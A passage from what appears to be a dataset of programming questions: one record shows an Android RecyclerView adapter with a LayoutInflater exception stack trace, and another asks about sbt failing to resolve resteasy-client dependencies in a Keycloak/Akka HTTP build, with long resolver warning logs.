dimen/image_nobar '' android : layout_alignParentEnd= '' true '' android : layout_alignParentStart= '' true '' android : layout_alignParentLeft= '' true '' android : layout_alignParentRight= '' true '' android : adjustViewBounds= '' true '' android : contentDescription= '' @ string/photo '' fresco : placeholderImage= '' @ drawable/fry '' fresco : actualImageScaleType= '' focusCrop '' / > list = new ArrayList < > ( ) ; gagInfo gi = new gagInfo ( ) ; list.add ( gi.setEmpty ( ) ) ; recList.setAdapter ( new gagAdapter ( list , context ) ) ; populateRecyclerView ( recList ) ; private void populateRecyclerView ( final RecyclerView rView ) { new Thread ( new Runnable ( ) { @ Override public void run ( ) { SharedPreferences prefs = getSharedPreferences ( GAGS , MODE_PRIVATE ) ; Map < String , ? > allEntries = prefs.getAll ( ) ; list = new ArrayList < > ( ) ; JSONObject obj ; String keyObject ; Boolean first = true ; for ( Map.Entry < String , ? > entry : allEntries.entrySet ( ) ) { String entryValue = entry.getValue ( ) .toString ( ) ; keyObject = entry.getKey ( ) ; try { JSONObject entryObject = new JSONObject ( entryValue ) ; obj = entryObject.getJSONObject ( `` nameValuePairs '' ) ; gagInfo gi = new gagInfo ( ) ; Log.d ( `` JSON '' , `` Processing ... `` + keyObject ) ; try { gi.title = obj.getString ( `` title '' ) ; gi.likes = obj.getString ( `` likes '' ) ; gi.comments = obj.getString ( `` comments '' ) ; gi.saved_date = obj.getString ( `` saved_date '' ) ; gi.file_path = obj.getString ( `` file_path '' ) ; gi.photoId = obj.getString ( `` photoId '' ) ; list.add ( gi ) ; if ( first ) { runOnUiThread ( new Runnable ( ) { @ Override public void run ( ) { ca = new gagAdapter ( list , context ) ; rView.setAdapter ( ca ) ; } } ) ; first = false ; } else { runOnUiThread ( new Runnable ( ) { @ Override public void run ( ) { ca.notifyItemInserted ( list.size ( ) - 1 ) ; } } ) ; } } catch ( JSONException e ) { e.printStackTrace ( ) ; SharedPreferences.Editor editor = prefs.edit ( ) ; editor.remove ( keyObject ) ; editor.apply ( ) ; } } catch ( JSONException e ) { e.printStackTrace ( ) ; } } Collections.sort ( list ) ; } } ) .start ( ) ; } @ Override protected void onResume ( ) { String action = getIntent ( ) .getAction ( ) ; if ( action == null || ! action.equals ( `` Created '' ) ) { Log.v ( `` HCA '' , `` Restart '' ) ; Intent intent = new Intent ( this , HomeCardActivity.class ) ; startActivity ( intent ) ; finish ( ) ; } else { getIntent ( ) .setAction ( null ) ; } super.onResume ( ) ; } @ Override public gagViewHolder onCreateViewHolder ( ViewGroup viewGroup , int i ) { SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences ( viewGroup.getContext ( ) ) ; String card = prefs.getString ( `` card_view '' , `` 0 '' ) ; Integer layoutID ; if ( card.equals ( `` 0 '' ) ) { layoutID = R.layout.card_layout ; } else { layoutID = R.layout.card_layout_nowhitebar ; } View itemView ; int count = 0 ; int maxTries = 5 ; do try { //TODO : Why LayoutInflater fails after third try ? itemView = LayoutInflater . from ( viewGroup.getContext ( ) ) . inflate ( layoutID , viewGroup , false ) ; if ( ! ( itemView == null ) ) break ; } catch ( InflateException ie ) { Log.e ( `` LayoutInflater '' , ie.toString ( ) ) ; if ( ++count == maxTries ) throw ie ; } while ( true ) ; return new gagViewHolder ( itemView ) ; } android.view.InflateException : Binary XML file line # 15 : Binary XML file line # 15 : Error inflating class < unknown > at android.view.LayoutInflater.inflate ( LayoutInflater.java:551 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:429 ) at com.denizugur.ninegagsaver.gagAdapter.onCreateViewHolder ( gagAdapter.java:134 ) at com.denizugur.ninegagsaver.gagAdapter.onCreateViewHolder ( gagAdapter.java:25 ) at android.support.v7.widget.RecyclerView $ Adapter.createViewHolder ( RecyclerView.java:5779 ) at android.support.v7.widget.RecyclerView $ Recycler.getViewForPosition ( RecyclerView.java:5003 ) at android.support.v7.widget.RecyclerView $ Recycler.getViewForPosition ( RecyclerView.java:4913 ) at android.support.v7.widget.LinearLayoutManager $ LayoutState.next ( LinearLayoutManager.java:2029 ) at android.support.v7.widget.LinearLayoutManager.layoutChunk ( LinearLayoutManager.java:1414 ) at android.support.v7.widget.LinearLayoutManager.fill ( LinearLayoutManager.java:1377 ) at android.support.v7.widget.LinearLayoutManager.onLayoutChildren ( LinearLayoutManager.java:578 ) at android.support.v7.widget.RecyclerView.dispatchLayoutStep2 ( RecyclerView.java:3260 ) at android.support.v7.widget.RecyclerView.dispatchLayout ( RecyclerView.java:3069 ) at android.support.v7.widget.RecyclerView.onLayout ( RecyclerView.java:3518 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.widget.RelativeLayout.onLayout ( RelativeLayout.java:1080 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:344 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:281 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.support.v7.widget.ActionBarOverlayLayout.onLayout ( ActionBarOverlayLayout.java:435 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:344 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:281 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.widget.LinearLayout.setChildFrame ( LinearLayout.java:1742 ) at android.widget.LinearLayout.layoutVertical ( LinearLayout.java:1585 ) at android.widget.LinearLayout.onLayout ( LinearLayout.java:1494 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.widget.FrameLayout.layoutChildren ( FrameLayout.java:344 ) at android.widget.FrameLayout.onLayout ( FrameLayout.java:281 ) at com.android.internal.policy.PhoneWindow $ DecorView.onLayout ( PhoneWindow.java:3193 ) at android.view.View.layout ( View.java:17938 ) at android.view.ViewGroup.layout ( ViewGroup.java:5812 ) at android.view.ViewRootImpl.performLayout ( ViewRootImpl.java:2666 ) at android.view.ViewRootImpl.performTraversals ( ViewRootImpl.java:2367 ) at android.view.ViewRootImpl.doTraversal ( ViewRootImpl.java:1437 ) at android.view.ViewRootImpl $ TraversalRunnable.run ( ViewRootImpl.java:7397 ) at android.view.Choreographer $ CallbackRecord.run ( Choreographer.java:920 ) at android.view.Choreographer.doCallbacks ( Choreographer.java:695 ) at android.view.Choreographer.doFrame ( Choreographer.java:631 ) at android.view.Choreographer $ FrameDisplayEventReceiver.run ( Choreographer.java:906 ) at android.os.Handler.handleCallback ( Handler.java:739 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:158 ) at android.app.ActivityThread.main ( ActivityThread.java:7229 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1230 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1120 ) Caused by : android.view.InflateException : Binary XML file line # 15 : Error inflating class < unknown > at android.view.LayoutInflater.createView ( LayoutInfla",LayoutInflater Exception +Java,"I am try to add keycloak client to my sbt project . And it wants a ResteasyClientBuilder , so i try to add it to libraryDependenciesand after I am type sbt update I get an error resteasy-client was added sbt.build libraryDependenciesbuild.sbt filebut during updating an error appears : how I can resolve this problem ? Actual result : an error appearExpected result : lib must be added to sbt","name : = `` keycloak-akka-http '' version : = `` 1.0 '' scalaVersion : = `` 2.11.7 '' val akkaV = `` 2.4.1 '' val akkaStreamV = `` 2.0-M2 '' val akka = Seq ( `` com.typesafe.akka '' % % `` akka-actor '' % akkaV , `` com.typesafe.akka '' % % `` akka-http-experimental '' % akkaStreamV , `` com.typesafe.akka '' % % `` akka-http-spray-json-experimental '' % akkaStreamV ) val logging = Seq ( `` org.slf4j '' % `` slf4j-api '' % `` 1.7.12 '' , `` ch.qos.logback '' % `` logback-classic '' % `` 1.1.3 '' , `` com.typesafe.scala-logging '' % % `` scala-logging '' % `` 3.1.0 '' , `` com.typesafe.akka '' % % `` akka-slf4j '' % akkaV ) val keycloak = Seq ( `` org.keycloak '' % `` keycloak-adapter-core '' % `` 3.4.3.Final '' , `` org.keycloak '' % `` keycloak-core '' % `` 3.4.3.Final '' , `` org.jboss.logging '' % `` jboss-logging '' % `` 3.3.0.Final '' , `` org.keycloak '' % `` keycloak-admin-client '' % `` 3.4.3.Final '' , `` org.jboss.resteasy '' % `` resteasy-client '' % `` 3.5.0.CR2 '' , `` org.apache.httpcomponents '' % `` httpclient '' % `` 4.5.1 '' ) libraryDependencies ++= akka ++ logging ++ keycloak//resolvers += `` JBoss '' at `` https : //repository.jboss.org '' //resolvers : = Seq ( `` JBoss '' at `` https : //repository.jboss.org/nexus/content/repositories/releases/ '' ) resolvers ++= Seq ( Resolver.url ( `` Typesafe Ivy releases '' , url ( `` https : //repo.typesafe.com/typesafe/ivy-releases '' ) ) ( Resolver.ivyStylePatterns ) , Resolver.jcenterRepo ) [ info ] Resolving junit # junit ; working @ user-System-Product-Name ... [ warn ] module not found : junit # junit ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/junit/junit/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/junit/junit/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/junit/junit/working @ user-System-Product-Name/junit-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/junit/junit/working @ user-System-Product-Name/junit-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/junit/junit/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/junit/junit/working @ user-System-Product-Name/junit-working @ user-System-Product-Name.pom [ info ] Resolving org.jboss.spec.javax.servlet # jboss-servlet-api_3.1_spec ; working @ user-System-Product-Name ... [ warn ] module not found : org.jboss.spec.javax.servlet # jboss-servlet-api_3.1_spec ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.jboss.spec.javax.servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.jboss.spec.javax.servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/jboss/spec/javax/servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/jboss-servlet-api_3.1_spec-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/jboss/spec/javax/servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/jboss-servlet-api_3.1_spec-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.jboss.spec.javax.servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/jboss/spec/javax/servlet/jboss-servlet-api_3.1_spec/working @ user-System-Product-Name/jboss-servlet-api_3.1_spec-working @ user-System-Product-Name.pom [ info ] Resolving javax.validation # validation-api ; working @ user-System-Product-Name ... [ warn ] module not found : javax.validation # validation-api ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/javax.validation/validation-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/javax.validation/validation-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/javax/validation/validation-api/working @ user-System-Product-Name/validation-api-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/javax/validation/validation-api/working @ user-System-Product-Name/validation-api-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/javax.validation/validation-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/javax/validation/validation-api/working @ user-System-Product-Name/validation-api-working @ user-System-Product-Name.pom [ info ] Resolving org.jboss.spec.javax.annotation # jboss-annotations-api_1.2_spec ; working @ user-System-Product-Name ... [ warn ] module not found : org.jboss.spec.javax.annotation # jboss-annotations-api_1.2_spec ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.jboss.spec.javax.annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.jboss.spec.javax.annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/jboss/spec/javax/annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/jboss-annotations-api_1.2_spec-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/jboss/spec/javax/annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/jboss-annotations-api_1.2_spec-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.jboss.spec.javax.annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/jboss/spec/javax/annotation/jboss-annotations-api_1.2_spec/working @ user-System-Product-Name/jboss-annotations-api_1.2_spec-working @ user-System-Product-Name.pom [ info ] Resolving javax.activation # activation ; working @ user-System-Product-Name ... [ warn ] module not found : javax.activation # activation ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/javax.activation/activation/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/javax.activation/activation/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/javax/activation/activation/working @ user-System-Product-Name/activation-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/javax/activation/activation/working @ user-System-Product-Name/activation-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/javax.activation/activation/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/javax/activation/activation/working @ user-System-Product-Name/activation-working @ user-System-Product-Name.pom [ info ] Resolving commons-io # commons-io ; working @ user-System-Product-Name ... [ warn ] module not found : commons-io # commons-io ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/commons-io/commons-io/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/commons-io/commons-io/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/commons-io/commons-io/working @ user-System-Product-Name/commons-io-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/commons-io/commons-io/working @ user-System-Product-Name/commons-io-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/commons-io/commons-io/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/commons-io/commons-io/working @ user-System-Product-Name/commons-io-working @ user-System-Product-Name.pom [ info ] Resolving net.jcip # jcip-annotations ; working @ user-System-Product-Name ... [ warn ] module not found : net.jcip # jcip-annotations ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/net.jcip/jcip-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/net.jcip/jcip-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/net/jcip/jcip-annotations/working @ user-System-Product-Name/jcip-annotations-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/net/jcip/jcip-annotations/working @ user-System-Product-Name/jcip-annotations-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/net.jcip/jcip-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/net/jcip/jcip-annotations/working @ user-System-Product-Name/jcip-annotations-working @ user-System-Product-Name.pom [ info ] Resolving javax.json.bind # javax.json.bind-api ; working @ user-System-Product-Name ... [ warn ] module not found : javax.json.bind # javax.json.bind-api ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/javax.json.bind/javax.json.bind-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/javax.json.bind/javax.json.bind-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/javax/json/bind/javax.json.bind-api/working @ user-System-Product-Name/javax.json.bind-api-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/javax/json/bind/javax.json.bind-api/working @ user-System-Product-Name/javax.json.bind-api-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/javax.json.bind/javax.json.bind-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/javax/json/bind/javax.json.bind-api/working @ user-System-Product-Name/javax.json.bind-api-working @ user-System-Product-Name.pom [ info ] Resolving org.jboss.logging # jboss-logging-annotations ; working @ user-System-Product-Name ... [ warn ] module not found : org.jboss.logging # jboss-logging-annotations ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.jboss.logging/jboss-logging-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.jboss.logging/jboss-logging-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/jboss/logging/jboss-logging-annotations/working @ user-System-Product-Name/jboss-logging-annotations-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/jboss/logging/jboss-logging-annotations/working @ user-System-Product-Name/jboss-logging-annotations-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.jboss.logging/jboss-logging-annotations/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/jboss/logging/jboss-logging-annotations/working @ user-System-Product-Name/jboss-logging-annotations-working @ user-System-Product-Name.pom [ info ] Resolving org.jboss.logging # jboss-logging-processor ; working @ user-System-Product-Name ... [ warn ] module not found : org.jboss.logging # jboss-logging-processor ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.jboss.logging/jboss-logging-processor/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.jboss.logging/jboss-logging-processor/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/jboss/logging/jboss-logging-processor/working @ user-System-Product-Name/jboss-logging-processor-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/jboss/logging/jboss-logging-processor/working @ user-System-Product-Name/jboss-logging-processor-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.jboss.logging/jboss-logging-processor/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/jboss/logging/jboss-logging-processor/working @ user-System-Product-Name/jboss-logging-processor-working @ user-System-Product-Name.pom [ info ] Resolving org.eclipse.microprofile.rest.client # microprofile-rest-client-api ; working @ user-System-Product-Name ... [ warn ] module not found : org.eclipse.microprofile.rest.client # microprofile-rest-client-api ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.eclipse.microprofile.rest.client/microprofile-rest-client-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.eclipse.microprofile.rest.client/microprofile-rest-client-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/eclipse/microprofile/rest/client/microprofile-rest-client-api/working @ user-System-Product-Name/microprofile-rest-client-api-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/eclipse/microprofile/rest/client/microprofile-rest-client-api/working @ user-System-Product-Name/microprofile-rest-client-api-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.eclipse.microprofile.rest.client/microprofile-rest-client-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/eclipse/microprofile/rest/client/microprofile-rest-client-api/working @ user-System-Product-Name/microprofile-rest-client-api-working @ user-System-Product-Name.pom [ info ] Resolving org.eclipse.microprofile.config # microprofile-config-api ; working @ user-System-Product-Name ... [ warn ] module not found : org.eclipse.microprofile.config # microprofile-config-api ; working @ user-System-Product-Name [ warn ] ==== local : tried [ warn ] /home/slava/.ivy2/local/org.eclipse.microprofile.config/microprofile-config-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded-ivy : tried [ warn ] /home/slava/.sbt/preloaded/org.eclipse.microprofile.config/microprofile-config-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== local-preloaded : tried [ warn ] file : ////home/slava/.sbt/preloaded/org/eclipse/microprofile/config/microprofile-config-api/working @ user-System-Product-Name/microprofile-config-api-working @ user-System-Product-Name.pom [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/org/eclipse/microprofile/config/microprofile-config-api/working @ user-System-Product-Name/microprofile-config-api-working @ user-System-Product-Name.pom [ warn ] ==== Typesafe Ivy releases : tried [ warn ] https : //repo.typesafe.com/typesafe/ivy-releases/org.eclipse.microprofile.config/microprofile-config-api/working @ user-System-Product-Name/ivys/ivy.xml [ warn ] ==== jcenter : tried [ warn ] https : //jcenter.bintray.com/org/eclipse/microprofile/config/microprofile-config-api/working @ user-System-Product-Name/microprofile-config-api-working @ user-System-Product-Name.pom [ info ] Resolving jline # jline ; 2.12.1 ... warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] : : UNRESOLVED DEPENDENCIES : : [ warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] : : junit # junit ; working @ user-System-Product-Name : not found [ warn ] : : org.jboss.spec.javax.servlet # jboss-servlet-api_3.1_spec ; working @ user-System-Product-Name : not found [ warn ] : : javax.validation # validation-api ; working @ user-System-Product-Name : not found [ warn ] : : org.jboss.spec.javax.annotation # jboss-annotations-api_1.2_spec ; working @ user-System-Product-Name : not found [ warn ] : : javax.activation # activation ; working @ user-System-Product-Name : not found [ warn ] : : commons-io # commons-io ; working @ user-System-Product-Name : not found [ warn ] : : net.jcip # jcip-annotations ; working @ user-System-Product-Name : not found [ warn ] : : javax.json.bind # javax.json.bind-api ; working @ user-System-Product-Name : not found [ warn ] : : org.jboss.logging # jboss-logging-annotations ; working @ user-System-Product-Name : not found [ warn ] : : org.jboss.logging # jboss-logging-processor ; working @ user-System-Product-Name : not found [ warn ] : : org.eclipse.microprofile.rest.client # microprofile-rest-client-api ; working @ user-System-Product-Name : not found [ warn ] : : org.eclipse.microprofile.config # microprofile-config-api ; working @ user-System-Product-Name : not found [ warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] [ warn ] Note : Unresolved dependencies path : [ warn ] commons-io : commons-io : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.eclipse.microprofile.config : microprofile-config-api : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] javax.validation : validation-api : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] javax.json.bind : javax.json.bind-api : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] net.jcip : jcip-annotations : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.jboss.spec.javax.servlet : jboss-servlet-api_3.1_spec : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.jboss.spec.javax.annotation : jboss-annotations-api_1.2_spec : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] junit : junit : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] javax.activation : activation : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.eclipse.microprofile.rest.client : microprofile-rest-client-api : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.jboss.logging : jboss-logging-annotations : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : keycloak-akka-http_2.11:1.0 [ warn ] org.jboss.logging : jboss-logging-processor : working @ user-System-Product-Name [ warn ] +- org.jboss.resteasy : resteasy-jaxrs:3.5.0.CR2 [ warn ] +- org.jboss.resteasy : resteasy-client:3.5.0.CR2 ( /home/slava/projects/keycloak-angular-akka-http/server/build.sbt # L33-34 ) [ warn ] +- keycloak-akka-http : 